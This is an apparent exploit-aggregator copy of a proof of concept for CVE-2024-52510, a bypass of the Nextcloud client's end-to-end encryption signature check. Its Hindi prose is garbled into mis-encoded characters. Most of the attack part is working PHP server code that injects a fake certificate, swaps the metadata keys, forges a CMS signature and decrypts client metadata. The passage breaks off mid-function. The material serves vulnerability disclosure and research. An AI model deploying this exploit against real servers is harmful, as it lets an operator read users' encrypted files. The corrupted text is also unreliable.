## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D-XUAN-CVE-2024-52510
# Nextcloud X-E2EE-SIGNATURE рдмрд╛рдпрдкрд╛рд╕ POC
## рд╕рд╛рд░рд╛рдВрд╢
* Nextcloud рдХреЗ E2EEv2 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджреМрд░рд╛рди, рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрд╡рд░ рдкрд░ рдЕрдкрд▓реЛрдб рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдлрд╝реЛрд▓реНрдбрд░-рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░ рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд╝рд┐рдХ рд░реВрдк рд╕реЗ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдлрд╝рд╛рдЗрд▓-рд╕рд╛рдЭрд╛рдХрд░рдг рдпрд╛ рд╕рд┐рдВрдХрд┐рдВрдЧ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рдЙрджреНрджреЗрд╢реНрдп рд╕реЗ рдЗрд╕реЗ рдкреБрдирдГ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдкрд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдирд╣реАрдВ рдХреА рдЧрдИ рд╣реИред
* рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ `foldermetadata.cpp:177` рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдм рдкреНрд░рд╛рдкреНрдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдЗрд╕ рдЬрд╛рдБрдЪ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рджреЛ рддрд░реАрдХреЗ рд╣реИрдВ:
* рд╡реЗ рдПрдХ рдЦрд╛рд▓реА `X-E2EE-SIGNATURE` рд░рд┐рд╕реНрдкрд╛рдВрд╕ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджреЗ рд╕рдХрддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ рд╣реЗрдбрд░ рдЦрд╛рд▓реА рд╣реИ, `foldermetadata.cpp:168` рдкрд░ рд╕реНрдерд┐рдд рд╢рд░реНрдд рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
* рд╡реЗ `users` JSON рдРрд░реЗ рдореЗрдВ рдПрдХ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдЙрд╕ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ `clientsideencryption.cpp:941` рдкрд░ `CMS_NO_SIGNER_CERT_VERIFY` рдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХрд╛ рдЪреЗрди-рд╕рддреНрдпрд╛рдкрди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗрд╡рд▓ рдпрд╣ рдЬрд╛рдБрдЪрддрд╛ рд╣реИ рдХрд┐ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдкреНрд░рдорд╛рдгрдкрддреНрд░ `clientsideencryption.cpp:955-971` рдореЗрдВ `certificatePems` рд╡реЗрдХреНрдЯрд░ рдореЗрдВ рдореМрдЬреВрдж рд╣реИ, рдЬреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реЛрддрд╛ рд╣реИред
* рдЗрд╕ POC рдореЗрдВ рд╣рдо рджреВрд╕рд░реА рд╡рд┐рдзрд┐ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди рдХрд░реЗрдВрдЧреЗ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╡рд┐рдзрд┐ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐ рджреЛрдиреЛрдВ рдХреЛ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
* рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд░реНрд╡рд░ рдЗрд╕ рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдХреЛ рд╕рд░реНрд╡рд░ рдХреЛ рдЬреНрдЮрд╛рдд рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдХреНрд▓рд╛рдЗрдВрдЯ рддрдм рдЗрд╕ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдмрд╛рдж рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕рд╕реЗ рд╕рд░реНрд╡рд░ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдореЗрдВ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдФрд░ рдкрдврд╝ рд╕рдХрддрд╛ рд╣реИред
> рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдмрд╛рдпрдкрд╛рд╕ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХрд╛ рдпрд╣ рддрд░реАрдХрд╛ 2023 рдореЗрдВ Albrecht, Backendal, Coppola, Paterson рджреНрд╡рд╛рд░рд╛ E2EE рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдкрд┐рдЫрд▓реЗ рд╕рдВрд╕реНрдХрд░рдг рдкрд░ рдЦреЛрдЬреЗ рдЧрдП рдПрдХ рд╣рдорд▓реЗ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИ (https://eprint.iacr.org/2024/546)ред рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рдорди рд░рдгрдиреАрддрд┐ рдереА (рд▓рд┐рдВрдХ рдХрд┐рдП рдЧрдП рдкреЗрдкрд░ рдХрд╛ рдЕрдиреБрднрд╛рдЧ 5.1 рджреЗрдЦреЗрдВ)ред
## рдкреБрдирд░реБрддреНрдкрд╛рджрди рдХреЗ рдЪрд░рдг
1. рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдХреЛ рдХреНрд▓реЛрди рдХрд░реЗрдВ, рдФрд░ DevContainer рдПрдХреНрд╕рдЯреЗрдВрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЗрд╕реЗ VS Code рдореЗрдВ рдЦреЛрд▓реЗрдВред Nextcloud рд╕рд░реНрд╡рд░ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ рдореМрдЬреВрдж рдПрдХ рдкрд░ рдЖрдзрд╛рд░рд┐рдд DevContainer рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
* рдбрд┐рдмрдЧрд┐рдВрдЧ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП, рдкреЛрд░реНрдЯ `7001` рдкрд░ рдПрдХ `mitmproxy` рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдореМрдЬреВрдж рд╣реИред рд╡реЗрдм UI рдХреЛ рдкреЛрд░реНрдЯ `7002` рдкрд░ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
* Nextcloud рд╕рд░реНрд╡рд░ рдХреА рд╕реНрдерд╛рдкрдирд╛ рдкрд░, `encryption` рдФрд░ `end_to_end_encryption` рдРрдкреНрд╕ рднреА рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ, рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб `sharer` рд╡рд╛рд▓рд╛ рдПрдХ рдЦрд╛рддрд╛ рдмрдирд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
2. рд╕рд░реНрд╡рд░ рдЪрд╛рд▓реВ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдирд╡реАрдирддрдо рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `http://localhost:8000` рдкрд░ (рдпрд╛ `http://localhost:7001` рдкрд░ рд░рд┐рд╡рд░реНрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдЙрд╕рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВред рд╡рд░реНрддрдорд╛рди рдореЗрдВ рдореИрдВрдиреЗ рдЗрд╕реЗ v3.13.2 AppImage рдкрд░ рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рд╣реИред
root@kitploit:~
sha256sum Nextcloud-3.13.2-x86_64.AppImage
92ec0a5260f6260fa8ce92acdb022c441f0efbf6b57cc96d75ac608ccb4c4ee2 Nextcloud-3.13.2-x86_64.AppImage
3. рд╕рдВрдХреЗрдд рдорд┐рд▓рдиреЗ рдкрд░, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо `sharer` рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб `sharer` рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд╕рд┐рдВрдХрд┐рдВрдЧ рд╡рд┐рдХрд▓реНрдк (рдЗрд╕рдХреЗ рдЕрдВрджрд░ `welcome.txt` рдХреЗ рд╕рд╛рде рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ `~/Nextcloud/` рдмрдирд╛рдирд╛) рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдВ, рдФрд░ Nextcloud рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╕реЗрдЯ рдХрд░реЗрдВред
4. `~/Nextcloud` рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдирдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ `encrypted_folder` рдмрдирд╛рдПрдБред Nextcloud рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ, рдЗрд╕ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░реЗрдВред

5. `Nextcloud/encrypted_folder` рдХреЗ рдЕрдВрджрд░, рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЯреЗрдХреНрд╕реНрдЯ рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдБ рдФрд░ рдЗрд╕рдХреЗ рд╕рд┐рдВрдХ рд╣реЛрдиреЗ рдХреА рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдВред
root@kitploit:~
# ~/Nextcloud/encrypted_folder
$ echo 'this should be encrypted' > file.txt
6. `http://localhost:8080/` рдкрд░ Adminer рдореЗрдВ Postgres рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧ рдЗрди рдХрд░реЗрдВ:
* рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо: `postgres`
* рдкрд╛рд╕рд╡рд░реНрдб: `postgres`
* рдбреЗрдЯрд╛рдмреЗрд╕: `postgres`
рдФрд░ `oc_e2e_encryption_metadata` рдФрд░ `oc_e2e_encryption_decrypted` рддрд╛рд▓рд┐рдХрд╛рдУрдВ рдкрд░ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░реЗрдВред рдЖрдкрдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдФрд░ рдлрд╝рд╛рдЗрд▓ рд╕рд╛рдордЧреНрд░реА рд╕реНрдкрд╖реНрдЯ рд░реВрдк рдореЗрдВ рджреЗрдЦрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред
 
> рдЙрдкрд░реЛрдХреНрдд рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рдкрд░реАрдХреНрд╖рдг рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдИ рдФрд░ рд╣рдЯрд╛рдИ рдЧрдИ рдереАрдВ, рдЗрд╕рд▓рд┐рдП рд╡реЗ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рджреЗрдЦреЗ рдЬрд╛рдиреЗ рд╕реЗ рдереЛрдбрд╝реЗ рднрд┐рдиреНрди рд╣реЛрдВрдЧреЗред
## рддрдХрдиреАрдХреА рд╡рд┐рд╡рд░рдг
рдпрд╣ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА Nextcloud рд╕рд░реНрд╡рд░ рдФрд░ рдПрдВрдб-рдЯреВ-рдПрдВрдб рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдРрдк рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдЕрдзрд┐рдХрд╛рдВрд╢ рдХреЛрдб рдЕрдкрд░рд┐рд╡рд░реНрддрд┐рдд рд░рд╣рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдпрд╣ рд╕рдордЭрд╛рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реВрдБрдЧрд╛ рдХрд┐ рдХрд┐рди рдЪреАрдЬрд╝реЛрдВ рдХреЛ рдмрджрд▓рд╛ рдЧрдпрд╛ рд╣реИред
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, `MetaDataStorage.php` рдХреА `getMetadata` рд╡рд┐рдзрд┐ рдХреЛ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдмрджрд▓рд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рд╡рд╣ рдПрдХ рдирдИ `getFakeUserMetadata` рд╡рд┐рдзрд┐ рдореЗрдВ рдХреЙрд▓ рдХрд░рдХреЗ рд▓реМрдЯрд╛рдП рдЧрдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд░реЗред
root@kitploit:~
--- original/lib/MetaDataStorage.php 2024-07-11 23:38:16.105826088 +1000
+++ nc-server/apps/end_to_end_encryption/lib/MetaDataStorage.php 2024-07-11 21:05:37.734565037 +1000
@@ -68,14 +82,12 @@
return $legacyFile->getContent();
}
- $folderName = $this->getFolderNameForFileId($id);
- $folder = $this->appData->getFolder($folderName);
+ $metaData = $this->getFakeUserMetadata($id);
- return $folder
- ->getFile($this->metaDataFileName)
- ->getContent();
+ return $metaData;
}
`getFakeUserMetadata` рд╡рд┐рдзрд┐ рдореЗрдВ, рд╣рдо рдкрд╣рд▓реЗ рдПрдХ рдЪреБрдиреЗ рд╣реБрдП рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЛ `users` JSON рдХреБрдВрдЬреА рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдЬрд╛рд▓рд╕рд╛рдЬреА рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИред
root@kitploit:~
private function getFakeUserMetadata(int $id): string {
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
$metaData = json_decode($folder->getFile($this->metaDataFileName)->getContent());
if (is_null($metaData->users)) {
/* This is a non-root metadata. Return as normal*/
return json_encode($metaData);
}
/*
* Step 1: Inject a fake public key into the metadata
* This can be used to forge a signature for the response.
*/
$found = false;
foreach ($metaData->users as $userData) {
if ($userData->userId === $this->fakeUserId) {
$found = true;
break;
}
}
if (!$found) {
try {
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
} catch (NotFoundException $e) {
/* Create a new private key for the fake user */
$privateKey = openssl_pkey_new();
openssl_pkey_export($privateKey, $privateKeyPem);
$folder->newFile($this->fakeUserPrivateKeyFileName)->putContent($privateKeyPem);
/* Client is expecting a certificate for the public key */
$csr = openssl_csr_new(array(), $privateKey);
$certificate = openssl_csr_sign($csr, null, $privateKey, 365);
openssl_x509_export($certificate, $pemCertificate);
$folder->newFile($this->fakeUserPublicCertificateFileName)->putContent($pemCertificate);
}
$newUser = new \stdClass();
$newUser->certificate = $pemCertificate;
array_push($metaData->users, $newUser);
}
рдлрд┐рд░, рдЪреВрдБрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рддрдХ рдкрд╣реБрдБрдЪ рд╣реИ, рд╣рдо рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЛ рдЙрди рдХреБрдВрдЬрд┐рдпреЛрдВ рд╕реЗ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред
root@kitploit:~
/*
* Step 2: Change all the metadata keys to keys that we control.
*/
foreach ($metaData->users as $userData) {
$publicKey = PublicKeyLoader::load($userData->certificate)->withHash('sha256')->withMGFHash('sha256');
$fakeEncryptedMetadataKey = $publicKey->encrypt($this->fakeMetadataKey);
$userData->encryptedMetadataKey = base64_encode($fakeEncryptedMetadataKey);
}
/* We need to set userId after setting encryptedMetadataKey, as Qt will serialize json keys in alphabetical order */
if (!is_null($newUser)) {
$newUser->userId = $this->fakeUserId;
}
рдЪреВрдБрдХрд┐ рд╣рдордиреЗ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХреА рд╣реИ, рд╣рдореЗрдВ рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рднреА рдмрджрд▓рдирд╛ рд╣реЛрдЧрд╛ред рдпрджрд┐ рд╣рдордиреЗ рдкрд╣рд▓реЗ рд╣реА рд╣рдорд▓реЗ рдХреЛ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЪрд▓рд╛ рд▓рд┐рдпрд╛ рд╣реИ, рддреЛ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рддрдХ рдкрд╣реБрдБрдЪ рд╣реЛрдЧреА рдЬрд┐рд╕реЗ рд╣рдо рдкреБрдирдГ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдиреНрдпрдерд╛ рд╣рдо рдПрдХ рдЦрд╛рд▓реА рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдСрдмреНрдЬреЗрдХреНрдЯ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЙрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВрдЧреЗред
root@kitploit:~
/*
* Step 3: Replace the encrypted metadata with one that can be decrypted under the new key.
* Then as long as we don't trigger a downsync, the next PUT will
* contain metadata encrypted with a key known to us.
*/
$fakeMetadata = new \stdClass();
$fakeMetadata->folders = new \stdClass();
$fakeMetadata->files = new \stdClass();
try {
$metadataEntities = $this->metadataMapper->getByFolderId($id);
foreach ($metadataEntities as $metadataEntity) {
$encryptedFilename = $metadataEntity->getEncryptedFilename();
if ($metadataEntity->isDirectory()) {
$fakeMetadata->folders->$encryptedFilename = $metadataEntity->toJson();
} else {
$fakeMetadata->files->$encryptedFilename = $metadataEntity->toJson();
}
}
} catch (DoesNotExistException $ex) {
/* Return empty metadata */
}
$fakeMetadata->counter = $this->getCounter($id);
/* keyChecksums needs to contain the SHA256 of the decrypted metadata key (in hex) */
$fakeMetadata->keyChecksums = array();
array_push($fakeMetadata->keyChecksums, hash("sha256", $this->fakeMetadataKey));
/* Then the AES-128-GCM ciphertext of the gzipped json object goes into the response */
$plaintext = gzencode(json_encode($fakeMetadata));
$nonce = openssl_random_pseudo_bytes(16);
$ciphertext = openssl_encrypt($plaintext, "aes-128-gcm", $this->fakeMetadataKey, OPENSSL_RAW_DATA, $nonce, $authenticationTag);
$metaData->metadata->authenticationTag = base64_encode($authenticationTag);
$metaData->metadata->ciphertext = base64_encode($ciphertext . $authenticationTag) . "|" . base64_encode($nonce);
$metaData->metadata->nonce = base64_encode($nonce);
$metaData = json_encode($metaData, JSON_UNESCAPED_SLASHES);
/* Ensure whatever metadata we return syncs up with what is stored on disk */
$folder->getFile($this->metaDataFileName)->putContent($metaData);
рдЕрдВрдд рдореЗрдВ, рд╣рдо рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рдХрд┐рдП рдЧрдП JSON рдкреЗрд▓реЛрдб рдХреЛ рд▓реЗрддреЗ рд╣реИрдВ рдФрд░ рдЕрдкрдиреЗ рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреЗ рд╕рд╛рде рдЙрд╕ рдкрд░ рдкреБрдирдГ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рддреЗ рд╣реИрдВред рдПрдХ рд╡рд┐рдХрд▓реНрдк рдпрд╣ рднреА рд╣реЛрдЧрд╛ рдХрд┐ рдпрд╣рд╛рдБ рдЦрд╛рд▓реА рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПред
root@kitploit:~
/* Note: We only need to forge a signature for root metadata */
$certificateFile = $folder->getFile($this->fakeUserPublicCertificateFileName);
$privateKeyFile = $folder->getFile($this->fakeUserPrivateKeyFileName);
$pemCertificate = $certificateFile->getContent();
$privateKey = openssl_pkey_get_private($privateKeyFile->getContent());
$signatureTempFile = tempnam(sys_get_temp_dir(), "signature");
$metadataTempFile = tempnam(sys_get_Temp_dir(), "metadata");
file_put_contents($metadataTempFile, base64_encode($metaData));
if (openssl_cms_sign($metadataTempFile, $signatureTempFile, $pemCertificate, $privateKey, array(), 0, OPENSSL_ENCODING_DER)) {
$signature = base64_encode(file_get_contents($signatureTempFile));
$this->writeSignature($folder, $this->metaDataSignatureFileName, $signature);
} else {
$this->writeSignature($folder, $this->metaDataSignatureFileName, "");
}
unlink($signatureTempFile);
unlink($metadataTempFile);
return $metaData;
}
рдПрдХ рдмрд╛рд░ рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдЫреЗрдбрд╝рдЫрд╛рдбрд╝ рд╣реЛ рдЬрд╛рдиреЗ рдкрд░, рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд┐рд╕реА рднреА рдирдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдорд╛рд░реА рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдЧрд╛ред рдХрд┐рд╕реА рднреА рдирдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рдХреА рдкреНрд░рд╛рдкреНрддрд┐ рдкрд░, рд╣рдо рдЕрдкрдиреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВред
root@kitploit:~
--- original/lib/Controller/MetaDataController.php 2024-07-11 23:38:16.102492800 +1000
+++ nc-server/apps/end_to_end_encryption/lib/Controller/MetaDataController.php 2024-07-11 20:54:06.794689137 +1000
@@ -164,9 +170,11 @@
}
if ($this->lockManager->isLocked($id, $e2eToken, null, true)) {
throw new OCSForbiddenException($this->l10n->t('You are not allowed to edit the file, make sure to first lock it, and then send the right token'));
}
+ $this->metaDataStorage->decryptMetaData($id, $metaData);
+
try {
$this->metaDataStorage->updateMetaDataIntoIntermediateFile($this->userId, $id, $metaData, $e2eToken, $signature);
} catch (MissingMetaDataException $e) {
root@kitploit:~
public function decryptMetaData(int $id, string $metaData) {
$this->verifyFolderStructure();
$folderName = $this->getFolderNameForFileId($id);
$folder = $this->appData->getFolder($folderName);
/* Try to decrypt the incoming metadata with our fake key */
$metaData = json_decode($metaData);
$authenticationTag = base64_decode($metaData->metadata->authenticationTag);
$ciphertextAndTag = base64_decode(explode("|", $metaData->metadata->ciphertext)[0]);
